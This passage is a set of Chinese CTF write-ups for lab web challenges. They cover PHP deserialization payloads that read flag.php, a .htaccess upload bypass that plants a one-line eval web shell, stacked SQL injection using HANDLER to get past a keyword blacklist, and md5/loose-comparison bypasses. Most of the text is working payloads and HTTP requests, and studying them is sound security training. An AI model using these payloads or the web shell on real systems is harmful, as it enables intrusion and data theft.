正常构造payload的话因为 `$op` 、 `$fliename` 、 `$content` 都是 `protected` 属性， `protected` 属性会在序列化的的结果的属性名前面引入 `\x00*\x00` *(或者 `%00**%00`)， `/00` 的 `ascii` 为 `0` 不可见的字符，就会被 `is_valid` 方法拦下来。

```
<?php
class FileHandler {
    protected $op = 2;
    protected $filename = "php://filter/convert.base64-encode/resource=flag.php";
    protected $content;

}
$a = new FileHandler();
echo serialize($a);
```

输出：

```
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:52:"php://filter/convert.base64-encode/resource=flag.php"
;s:10:"*content";N;}
```

星号旁边有两个不可显示字符没有显示出来。 `php>7.1` 版本对类属性的检测不严格来绕过，将序列化里的 `portected` 属性换成 `public` 属性，就不会有 `/00` ， `public` 属性序列化不会出现不可见字符，序列化代码修改为：

```php
<?php
class FileHandler {
    public $op = 2;
    public $filename = "php://filter/convert.base64-encode/resource=flag.php";
    public $content;

}
$a = new FileHandler();
echo serialize($a);
```

因为`destruce`函数会将`content`改为空，所以`content`的值随意（但是要满足`is_valid()`函数的要求）。

输出：

```
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
```

方法一

输入url：

```
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
```

网页内容`base64`解码，得到flag。

方法二

不用伪协议，输入url：

```
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
```

查看源代码，发现注释有flag。

方法三

为了更加方便进行反序列化Payload的传输与显示，我们可以在序列化内容中用大写`S`表示字符串，此时这个字符串就支持将后面的字符串用16进制表示。

```php
<?php
class FileHandler{
    protected $op=2;
    protected $filename="flag.php";
    protected $content;
}

$a = serialize(new FileHandler);
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo $a;
?>
```

输入url：

```
?str=O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";}
```

查看源代码，发现注释有flag。

References

https://blog.csdn.net/rabcdxb/article/details/114297291

https://blog.csdn.net/Oavinci/article/details/106998738

https://zhuanlan.zhihu.com/p/141372339

https://www.t00ls.net/articles-56352.html

https://www.mdeditor.tw/pl/p1AT

[MRCTF2020]你传你□呢

- ** `.htaccess` 文件，**分布式配置文件，全称是 `Hypertext Access` (超文本入口)
- 它提供了针对目录改变配置的方法， 即，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录
- 作为用户，所能使用的命令受到限制。管理员可以通过 `Apache` 的 `AllowOverride` 指令来设置
- `.htaccess` 文件是用于 `apache` 服务器下的控制文件访问的配置文件，因此 `Nginx` 下是不会生效的
- `.htaccess` 可以帮我们实现：网页 `301` 重定向、自定义 `404` 错误页面、改变文件扩展名、允许阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能

创建文件.htaccess，写入

```
AddType application/x-httpd-php .png
```

- 作用是将 `png` 解析为 `php`

然后上传 `.htaccess`

> `.htaccess` 另外一个写法
> 可以在 `.htaccess` 加入php解析规则，把文件名包含1的解析成php
> `<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>`
> 或者 `SetHandler application/x-httpd-php` ，例如文件 `1.png` ， 就会以php执行。

点击一键去世，用burpSuite拦截

```
POST /upload.php HTTP/1.1
Host: 7a5bab3a-9c97-4613-ac15-b875f4590ece.node3.buuoj.cn
Content-Length: 327
Cache-Control: max-age=0
Origin: http://7a5bab3a-9c97-4613-ac15-b875f4590ece.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHENbZYOsmzsk2mV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://7a5bab3a-9c97-4613-ac15-b875f4590ece.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: PHPSESSID=f3a7fbfc874d522579f4eb239a5cbf35
Connection: close

------WebKitFormBoundaryzHENbZYOsmzsk2mV
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: application/octet-stream

AddType application/x-httpd-php .png
------WebKitFormBoundaryzHENbZYOsmzsk2mV
Content-Disposition: form-data; name="submit"

ä¸€é”®åŽ»ä¸-
------WebKitFormBoundaryzHENbZYOsmzsk2mV--
```

将Content-Type: application/octet-stream修改为：`Content-Type: image/png`，然后放包，提示上传成功。

创建文件`hatccess.png`，写入

```
<?php @eval($_POST["password"]);?>
```

页面回显上传的文件的相对路径：

```
/var/www/html/upload/45373f6d5ca8e7f31a8b1ab615988658/hatccess.png
```

利用蚁剑空白区域右击添加数据，设置如下：

```
URL地址  http://7a5bab3a-9c97-4613-ac15-b875f4590ece.node3.buuoj.cn/upload/45373f6d5ca8e7f31a8b1ab615988658/hatc
cess.png
连接密码 password
网站备注
编码设置 UTF8
连接类型 PHP
```

其他不变。密码可以随便设置，要跟`$_POST["password"]`一致。

连接后查看网站文件，在根目录发现flag。

References

http://www.shangdixinxi.com/detail-1560773.html

https://v2as.com/article/108fc39b-b911-4eda-ab6b-833049b8bc7c

http://182.92.234.146/?p=217

https://blog.csdn.net/EC_Carrot/article/details/109298513

[GYCTF2020]Blacklist

输入：

```
-1';show tables#
```

网页显示：

```
array(1) {
  [0]=>
  string(8) "FlagHere"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

输入：

```
-1';show columns from `FlagHere`#
```

网页显示：

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

输入：

```
-1';show columns from `words`#
```

网页显示：

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

因此数据库下的表结构：

- words
  - id int(10)
  - data varchar(20)
- FlagHere
  - flag varchar(100)

网页显示：

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
```

模式分隔符后的"i"标记这是一个大小写不敏感的搜索。

```
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
```

搜索 subject 与 pattern 给定的正则表达式的一个匹配。

参数说明：

- $pattern: 要搜索的模式，字符串形式。
- $subject: 输入字符串。
- $matches: 如果提供了参数matches，它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本， $matches[1] 将包含第一个捕获子组匹配到的文本，以此类推。
- $flags：flags 可以被设置为以下标记值：
    1. PREG_OFFSET_CAPTURE: 如果传递了这个标记，对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意：这会改变填充到matches参数的数组，使其每个元素成为一个由 第0个元素是匹配到的字符串，第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
- offset: 通常，搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

只能使用mysql特有的语法：HANDLER ... OPEN语句打开一个表，使其可以使用后续HANDLER ... READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭。

- **handler** table_name **open**; #打开表table_name,设置一个table_name句柄
- **handler** table_name **read first**; #获取第一行数据，next可以依次获取下一行数据
- **handler** table_name **close**; #关闭句柄

输入：

```
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
```

得到flag。

References

https://troyess.com/2020/07/16/GYCTF2020-Blacklist/

https://blog.csdn.net/SopRomeo/article/details/105396372

[MRCTF2020]Ez_bypass

打开网页，按`F12`查看源代码：

```
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first
```

`if (md5($id) === md5($gg) && $id !== $gg)`首先绕过`md5`，输入url：

```
?gg[]=1&id[]=2
```

然后就是绕过：

```
if (!is_numeric($passwd)){
 if($passwd==1234567){
   echo 'Good Job!';
    highlight_file('flag.php');
    die('By Retr_0');
  }
}
```

发送POST请求：

```
POST /?gg[]=1&id[]=2 HTTP/1.1
Host: 28440955-08f6-4e56-ab49-ea871689e49d.node3.buuoj.cn
Content-Length: 17
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
 Safari/537.36 Edg/89.0.774.57
Origin: http://28440955-08f6-4e56-ab49-ea871689e49d.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Referer: http://28440955-08f6-4e56-ab49-ea871689e49d.node3.buuoj.cn/?gg[]=1&id[]=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

passwd=1234567%0A
```

最精简POST请求：

```
POST /?gg[]=1&id[]=2 HTTP/1.1
Host: 28440955-08f6-4e56-ab49-ea871689e49d.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

passwd=1234567%0A
```

1234567a也可以。

References

https://www.gem-love.com/ctf/2184.html#Ezaudit